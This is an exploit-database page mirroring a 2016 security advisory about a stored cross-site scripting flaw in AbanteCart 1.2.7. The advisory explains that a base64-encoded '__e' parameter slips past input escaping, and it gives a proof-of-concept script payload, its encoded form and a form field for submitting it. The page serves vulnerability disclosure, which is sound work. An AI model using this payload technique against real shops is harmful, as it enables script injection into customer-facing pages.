Lucene search
K

AbanteCart 1.2.7 Cross Site Scripting

🗓️ 06 Dec 2016 00:00:00Reported by Kacper SzurekType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 48 Views

AbanteCart 1.2.7 Stored XSS vulnerability allows uncleaned base64 encoded input to execute malicious script

Code
`# Exploit Title: AbanteCart 1.2.7 Stored XSS  
# Date: 06-12-2016  
# Software Link: http://www.abantecart.com/  
# Exploit Author: Kacper Szurek  
# Contact: http://twitter.com/KacperSzurek  
# Website: http://security.szurek.pl/  
# Category: webapps  
  
1. Description  
  
By default all user input is escaped using `htmlspecialchars`.  
  
But we can pass `__e` value which is base64 encoded and unfortunatelly those datas are not cleaned.  
  
http://security.szurek.pl/abantecart-127-stored-xss-and-sql-injection.html  
  
2. Proof of Concept  
  
For example `address_1="><script>alert(2);</script>&` can be encoded as: `__e=YWRkcmVzc18xPSI+PHNjcmlwdD5hbGVydCgyKTs8L3NjcmlwdD4m`.  
  
So create new order and set `address_1` value as `__e` using for example Burp:  
  
```  
Content-Disposition: form-data; name="__e"  
  
YWRkcmVzc18xPSI+PHNjcmlwdD5hbGVydCgyKTs8L3NjcmlwdD4m  
```  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Dec 2016 00:00Current
7.4High risk
Vulners AI Score7.4
48